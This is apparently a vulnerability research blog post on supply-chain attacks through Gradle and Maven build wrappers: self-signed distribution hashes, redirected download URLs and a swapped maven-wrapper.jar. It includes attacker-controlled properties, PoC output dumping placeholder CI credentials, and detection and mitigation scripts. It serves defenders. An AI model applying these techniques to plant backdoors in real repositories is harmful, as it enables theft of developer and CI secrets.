# The Wrapper Trap: Silent Persistence in Gradle and Maven

2026-08-06 · Matt Landers · 11 min read · Vulnerability Research

Canonical: https://www.osec.com/resources/blog/the-wrapper-trap-silent-persistence-in-gradle-and-maven

---

Build tool wrappers are the standard way JVM projects distribute a pinned tool version. Instead of relying on a system-wide installation, the wrapper downloads and caches a specific Gradle or Maven release into the project itself. The wrapper shell script is committed to the repository. The bootstrap binary is committed to the repository. When a developer or CI pipeline runs `./gradlew` or `./mvnw`, they're invoking code that is already in git.

This design choice creates an unusual attack surface: the mechanism that ensures reproducibility, pinning tool versions in the repository, also becomes a vector for supply chain compromise. Both Gradle and Maven have integrity checks intended to verify wrapper authenticity. Both checks fail to protect against attackers with write access to the repository.

This article documents tested attacks against both wrappers. Gradle's attack uses configuration poisoning to redirect downloads. Maven's attack is more dangerous: it replaces the committed binary directly. Together, they show a pattern: in the JVM ecosystem, the wrapper is a trust boundary that can be used post compromise.

## Background: how build wrappers work

### Gradle Wrapper

`./gradlew` is a shell script that invokes:

```
java -cp gradle/wrapper/gradle-wrapper.jar GradleWrapperMain
```

`GradleWrapperMain` reads `gradle/wrapper/gradle-wrapper.properties`, resolves `distributionUrl`, and calls `Install.install()`. If the distribution is not already cached in `$GRADLE_USER_HOME/wrapper/dists/`, it downloads the ZIP, verifies it against `distributionSha256Sum`, and extracts it.

The wrapper then creates a `URLClassLoader` from all `*.jar` files under `<extracted>/lib/`, and calls:

```java
Class<?> mainClass = classLoader.loadClass("org.gradle.launcher.GradleMain");
Method mainMethod = mainClass.getMethod("main", String[].class);
mainMethod.invoke(null, new Object[]{args});
```

The extracted Gradle release runs as part of the same JVM process, with full access to the developer's environment.

### Maven Wrapper

`./mvnw` (shell script) invokes:

```
java -cp .mvn/wrapper/maven-wrapper.jar org.apache.maven.wrapper.MavenWrapperMain "$@"
```

The committed JAR (`maven-wrapper.jar`, ~63 KB by convention) is on the classpath first. Whatever is in `.mvn/wrapper/maven-wrapper.jar` at invocation time is what executes.

If the local distribution cache is cold, the wrapper reads `.mvn/wrapper/maven-wrapper.properties`, downloads the distribution from `distributionUrl`, and caches it. Subsequent invocations use the cached copy.

## Attack A: Gradle Wrapper hash bypass

### The vulnerability

`gradle-wrapper.properties` contains two fields:

```
distributionUrl=https://services.gradle.org/distributions/gradle-8.13-bin.zip
distributionSha256Sum=dccb1612e69e36aa7f52082be0d820a27f90c1c7c58c7ab4e9df2eed1f3f7f65
```

The wrapper downloads the ZIP at `distributionUrl`, hashes it, and compares the result against `distributionSha256Sum`. If they match, it extracts and runs. This is presented as a security control.

The control provides no security because **both fields live in the same file**. An attacker who commits a modified `gradle-wrapper.properties` controls the URL they serve from and the hash they put in the file. They compute the SHA-256 of their own malicious ZIP, write that value as `distributionSha256Sum`, and point `distributionUrl` at their server. Verification passes every time.

The hash only proves that what was downloaded matches what was expected. It cannot prove that what was expected is safe when the attacker wrote both values.

### How the attack works

An attacker opens a PR modifying `gradle/wrapper/gradle-wrapper.properties`. The diff looks like a Gradle version bump, a routine change that appears in almost every active Java project:

1. **Build a malicious Gradle distribution.** Directory structure:

```
gradle-8.13-bin/
gradle-8.13-bin/lib/
gradle-8.13-bin/lib/gradle-launcher-8.13.jar   ← contains malicious GradleMain
gradle-8.13-bin/lib/gradle-8.13.jar            ← stub, satisfies URLClassLoader scan
gradle-8.13-bin/bin/
gradle-8.13-bin/bin/gradle
```

The JAR at `lib/gradle-launcher-8.13.jar` exports `org.gradle.launcher.GradleMain`. Its `main()` method runs the payload, then either exits or invokes legitimate Gradle behavior as needed to avoid suspicion.

2. **Compute the SHA-256.** Of the malicious ZIP:

```
80376dc8f12a0d17d3f95d80b4ad3cbfb5d4b9850e5a0ae11500a180b3706aee
```

3. **Write `gradle-wrapper.properties`.** Both attacker-controlled:

```
distributionUrl=http://127.0.0.1:18080/gradle-8.13-bin.zip
distributionSha256Sum=80376dc8f12a0d17d3f95d80b4ad3cbfb5d4b9850e5a0ae11500a180b3706aee
```

CI merges the PR and runs `./gradlew build` on a cold cache. The wrapper downloads from the attacker's server, verifies the hash (passes), extracts, and loads `GradleMain` from the malicious JAR.

### Live PoC output

**Test environment:** Gradle Wrapper 8.13.0, Java 21.0.11 (OpenJDK), Linux 6.12.94

**Attack configuration:**

```
distributionUrl=http://127.0.0.1:18080/gradle-8.13-bin.zip
distributionSha256Sum=80376dc8f12a0d17d3f95d80b4ad3cbfb5d4b9850e5a0ae11500a180b3706aee
```

*(Attacker controls both fields - hash verification is self-signing)*

**Execution and output:**

```
$ ./gradlew help --no-daemon
Downloading https://services.gradle.org/distributions/gradle-8.13-bin.zip

[PoC] Payload executed - see /tmp/grd04_poc/PWNED.txt

=== Gradle PoC: Malicious GradleMain.class Executed ===
User: example_user
Java: 21.0.11

=== Environment (CI credential exposure) ===
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
GITHUB_TOKEN=ghp_FAKE_CI_TOKEN_FOR_POC
NPM_TOKEN=npm_FAKE_CI_TOKEN_FOR_POC

$ echo $?
0
```

Exit code 0. The developer sees a normal download progress message, then (if the payload continues the build) normal build output. Nothing in the terminal indicates that arbitrary Java code already executed before Gradle started.

### Scope

Any project using `./gradlew` is affected. This is nearly universal in the Gradle ecosystem. The attack fires on the first `./gradlew` invocation when the wrapper distribution cache is cold, common in CI environments with ephemeral runners.

### Bonus finding: User-Agent fingerprinting

Before the wrapper downloads the ZIP, it sends an HTTP request disclosing significant host information. This was captured in PoC testing:

```
User-Agent: gradlew/0 (Linux;6.12.94+deb13-amd64;amd64) (OpenJDK;21.0.11;21.0.11+10-1-deb13u2-Debian)
```

This header contains:

- OS family and kernel: `Linux;6.12.94+deb13-amd64`
- CPU architecture: `amd64`
- JVM vendor: `OpenJDK`
- Exact JVM version and build: `21.0.11+10-1-deb13u2-Debian`

The attacker's server receives this information **before serving anything**. A targeted attack can use this to:

- Serve architecture-specific or JVM-version-specific payloads
- Fingerprint the CI environment before deciding whether to proceed with the attack
- Enumerate runner infrastructure via simple HTTP server logs

## Attack B: Maven Wrapper - two attack surfaces

Maven Wrapper is more dangerous than Gradle because it has **two** distinct attack surfaces, and the second one is more reliable than anything Gradle offers.

### URL redirect attack: distributionUrl redirect

`maven-wrapper.properties` contains:

```
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.9.9/apache-maven-3.9.9-bin.zip
wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.3.2/maven-wrapper-3.3.2.jar
```

Unlike Gradle's wrapper, Maven Wrapper does not include an integrity field by default. Gradle ships `distributionSha256Sum` as a standard property and verifies it. Maven Wrapper 3.2+ added an optional `distributionSha256Sum` field, but **it is absent from the default-generated properties file**. A project that never explicitly added it has no distribution integrity check.

An attacker who can commit to the repository changes `distributionUrl` to point at an attacker-controlled server. On the next `./mvnw` invocation by any developer or CI pipeline with a cold local cache, the wrapper downloads and uses the distribution from that server.

#### Live test: HTTP redirect attack

**Test environment:** Maven Wrapper 3.3.2, Java 21.0.11, Linux 6.12.94

**Attack setup:**

- Download real Maven 3.9.9 distribution
- Inject malicious shell script into `apache-maven-3.9.9/bin/mvn`
- Repackage as ZIP and serve via HTTP on localhost:18081
- Create victim project with `maven-wrapper.properties` pointing to attacker's URL

**No `distributionSha256Sum` in properties:**

```
distributionBase=MAVEN_USER_HOME
distributionPath=wrapper/dists
distributionUrl=http://127.0.0.1:18081/apache-maven-3.9.9-bin-malicious.zip
wrapperUrl=file:///dev/null
```

**Execution:**

```
$ ./mvnw --version
[WARNING] Using an insecure connection to download the Maven distribution.
          Please consider using HTTPS.

Apache Maven 3.9.9 (8e8579a9e76f7d015ee5ec7bfcdc97d260186937)
Maven home: /tmp/.../apache-maven-3.9.9
Java version: 21.0.11, vendor: Debian
OS name: "linux", version: "6.12.94+deb13-amd64", arch: "amd64", family: "unix"

$ echo $?
0
```

**Payload execution evidence (from injected script):**

```
=== Maven URL Redirect Attack ===
Date: Mon Jul 13 01:54:27 PM EDT 2026
User: uid=1000(test_user) gid=1000(test_user) groups=1000(test_user),...
PWD: /home/test_user/someplace/

=== Environment ===
(Payload can read CI environment variables, credentials, etc.)

[SUCCESS] Malicious Maven wrapper script executed
```

**What happened:**

- HTTP warning appeared
- Malicious ZIP downloaded and extracted without integrity check
- Injected payload executed before Maven ran
- Exit code 0
- Real Maven continued running normally

**Scope:** This attack fires only when the local distribution cache is cold - the first `./mvnw` run after a fresh clone, an explicit cache clear, or a distribution version bump.

### Binary replacement attack: maven-wrapper.jar replacement

`maven-wrapper.jar` (63,028 bytes for version 3.3.2) is committed directly to `.mvn/wrapper/` as standard Maven Wrapper convention. Every project using `./mvnw` has this binary checked into version control.

The `mvnw` shell script does:

```
./mvnw (shell script)
  → java -cp .mvn/wrapper/maven-wrapper.jar org.apache.maven.wrapper.MavenWrapperMain "$@"
```

The committed JAR is on the classpath before anything else runs. Whatever is in `.mvn/wrapper/maven-wrapper.jar` at invocation time is what executes. There is **no hash verification**. The file is committed to version control and git treats it as an opaque binary.

An attacker who can commit to the repository replaces `maven-wrapper.jar` with a malicious JAR. Unlike Attack B-A, this requires no network connection and does not depend on a cold cache. **It fires on every `./mvnw` invocation.**

#### PoC

A 2,136-byte JAR with a `Main-Class` manifest entry pointing at a payload class was committed in place of the legitimate 63,028-byte wrapper JAR:

```
=== ATTACK B: maven-wrapper.jar replacement ===
Evil maven-wrapper.jar built:
/tmp/mvn04_poc/victim_project_b/.mvn/wrapper/maven-wrapper.jar (2136 bytes)
  [This JAR would be committed to .mvn/wrapper/maven-wrapper.jar in the repo]
Running ./mvnw --version (victim's normal workflow)...
./mvnw exit code: 0
stderr: [MVN04-B] Payload executed as: test_user

=== Maven Binary Replacement: maven-wrapper.jar Replacement Executed ===
Date: Sun Jun 21 23:20:00 EDT 2026
User: test_user
Java: 21.0.5
Args: [--version]

=== Environment ===
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
GITHUB_TOKEN=ghp_FAKE_CI_TOKEN_FOR_POC
PATH=...
```

Exit code 0. The payload received the full argument list passed to `./mvnw`. The calling process saw a clean exit. In a CI pipeline, this is invisible unless the pipeline explicitly checks for unexpected output on stderr.

#### Why this is harder to detect than Attack B-A

Attack B-A modifies a text file. `git diff` shows the changed URL in plain text. A reviewer reading the diff can see that `distributionUrl` now points at `attacker.example.com`.

Attack B-B modifies a binary file. PR diff output:

```
Binary files a/.mvn/wrapper/maven-wrapper.jar and b/.mvn/wrapper/maven-wrapper.jar differ
```

No content is shown. Most code review interfaces render this as a single line with no expandable view. The file is expected to exist, expected to be a JAR, and changes to it during a version upgrade are routine. A reviewer who sees the binary diff has no obvious path to reading what changed without checking out the branch and running `jar tf`.

The 2,136-byte evil JAR versus the legitimate 63,028-byte JAR is a detectable size discrepancy, but size is not surfaced in most PR review UIs. An attacker who pads the JAR or replaces with a close-to-legitimate-size variant removes that signal.

## Comparison: why Maven is more dangerous

| Aspect | Gradle | Maven URL Redirect | Maven Binary Replacement |
|---|---|---|---|
| What attacker commits | text `.properties` file | text `.properties` file | binary JAR |
| Network required | Yes (wrapper downloads from URL) | Yes (wrapper downloads from URL) | No |
| Hash bypass needed | Yes (self-sign both fields) | No (field absent by default) | N/A |
| PR reviewability | Readable text diff | Readable text diff | Binary diff only |
| Trigger | First `./gradlew` (cold cache) | First `./mvnw` (cold cache) | Every `./mvnw` call |
| Stealthiness | Low (URL visible in diff) | Low (URL visible in diff) | High (binary, standard file) |
| Scope | CI pipelines, fresh developer machines | CI pipelines, fresh developer machines | **All machines, all invocations** |

Maven's committed JAR (binary replacement) requires neither network access nor a cold cache, and fires on every invocation. It is more dangerous than both Gradle's attack and Maven's URL-redirect attack.

## Detection

### Maven Binary Replacement

**Monitor `.mvn/wrapper/maven-wrapper.jar` file hash.** Apache publishes checksums for each Maven Wrapper release at:

```
https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.3.2/maven-wrapper-3.3.2.jar.sha256
```

Any change to `maven-wrapper.jar` in a PR should be flagged automatically. Legitimate changes occur only when the wrapper version is upgraded, and those changes are documented in `maven-wrapper.properties` with a version bump. A JAR change without a corresponding version bump in the properties file is an indicator of compromise.

**Size check.** The legitimate `maven-wrapper-3.3.2.jar` is 63,028 bytes. A significant deviation without a version change warrants inspection.

**CODEOWNERS or branch protection.** Require a named reviewer's approval on any commit that touches `.mvn/wrapper/maven-wrapper.jar`. Most projects do not have this rule because the file is treated as infrastructure, not code. It is code.

**CI preflight.** Before invoking `./mvnw`, compute the SHA-256 of `.mvn/wrapper/maven-wrapper.jar` and compare it against the published Apache checksum. This adds one shell line to a CI pipeline and blocks Attack B-B entirely:

```shell
echo "$(cat .mvn/wrapper/maven-wrapper.jar | sha256sum | cut -d' ' -f1) .mvn/wrapper/maven-wrapper.jar" | sha256sum --check
```

### Gradle Configuration Attack

**Domain enforcement.** Reject any `gradle-wrapper.properties` where `distributionUrl` does not match `^https://services\.gradle\.org/`. This can be enforced as a CI pre-check before `./gradlew` runs:

```shell
DIST_URL=$(grep '^distributionUrl=' gradle/wrapper/gradle-wrapper.properties | cut -d= -f2-)
if [[ "$DIST_URL" != https://services.gradle.org/* ]]; then
    echo "ERROR: distributionUrl not from services.gradle.org: $DIST_URL"
    exit 1
fi
```

Gradle's official Wrapper Validation GitHub Action (`gradle/actions/wrapper-validation`) performs a variant of this check. It validates the wrapper JAR against known-good checksums and can be configured to enforce URL policy. This should run before any `./gradlew` invocation, not after.

**For developers reviewing PRs locally:** Avoid running `./gradlew` directly on a branch that modifies the wrapper properties until the distribution URL has been verified against `services.gradle.org`.

### Both wrappers

**The integrity field is not a trust anchor.** In Gradle, the hash is only as trustworthy as the file that contains it. In Maven, the field is optional by default. Treat hashes as informational. The trust anchor is whether the distribution URL resolves to a domain you control or trust.

## Mitigation

### Maven Wrapper

**Attack B-B (committed JAR replacement):**

Pin the expected SHA-256 of `maven-wrapper.jar` in CI and fail the build if it does not match. Apache publishes checksums per wrapper release; use those as the source of truth, not a hash computed from a committed file in the same repository. A committed hash of a committed file does not protect against an attacker who commits both.

Add `.mvn/wrapper/maven-wrapper.jar` to a CODEOWNERS rule requiring security team review on any modification. Treat it the same way you would treat a committed binary dependency: any change needs a reason.

**Attack B-A (distributionUrl redirect):**

Add `distributionSha256Sum` to `maven-wrapper.properties`. Maven Wrapper 3.2+ reads and enforces this field. Obtain the SHA-256 of the target distribution from the Apache Maven project's published checksums:

```
https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.9.9/apache-maven-3.9.9-bin.zip.sha256
```

With `distributionSha256Sum` set, the wrapper will reject any distribution whose hash does not match, regardless of where `distributionUrl` points.

In CI, set an explicit allow-list for acceptable `distributionUrl` domains and fail the build if `distributionUrl` resolves outside it.

### Gradle Wrapper

The practical mitigation is domain enforcement at the CI level. Reject any `gradle-wrapper.properties` where `distributionUrl` does not match `^https://services\.gradle\.org/`. This can be enforced as a CI pre-check before `./gradlew` runs:

```shell
DIST_URL=$(grep '^distributionUrl=' gradle/wrapper/gradle-wrapper.properties | cut -d= -f2-)
if [[ "$DIST_URL" != https://services.gradle.org/* ]]; then
    echo "ERROR: distributionUrl not from services.gradle.org: $DIST_URL"
    exit 1
fi
```

For developer workstations, the same risk exists when reviewing PRs that modify `gradle-wrapper.properties` and locally running `./gradlew` to verify the change. Reviewers should avoid running `./gradlew` directly on a branch that modifies the wrapper properties until the distribution URL has been verified.

The `distributionSha256Sum` field is not a trust anchor. Treat it as an informational field only. The trust anchor is whether `distributionUrl` resolves to a domain you control or trust.

## References

**Gradle Wrapper:**

- Source: `gradle/gradle` - `subprojects/wrapper/src/main/java/org/gradle/wrapper/`
- `Install.java` - `install()`, `unzip()`, sha256 verification
- `BootstrapMainStarter.java` - URLClassLoader construction and `GradleMain` invocation
- Gradle Wrapper Validation Action: `https://github.com/gradle/actions/tree/main/wrapper-validation`
- Gradle 8.3 release notes - `wrapper validate` command

**Maven Wrapper:**

- Source: `apache/maven-wrapper` - `maven-wrapper/src/main/java/org/apache/maven/wrapper/`
- `MavenWrapperMain.java` - classloader setup and bootstrap
- Apache Maven published checksums: `https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/`
- Maven Wrapper 3.2+ release notes - `distributionSha256Sum` field

**Tested against:**

- Gradle Wrapper 8.13.0, Java 21 (Eclipse Temurin 21.0.5)
- Maven Wrapper 3.3.2, Java 21 (Eclipse Temurin 21.0.5)
- Linux kernel 6.12.90+deb13.1-amd64
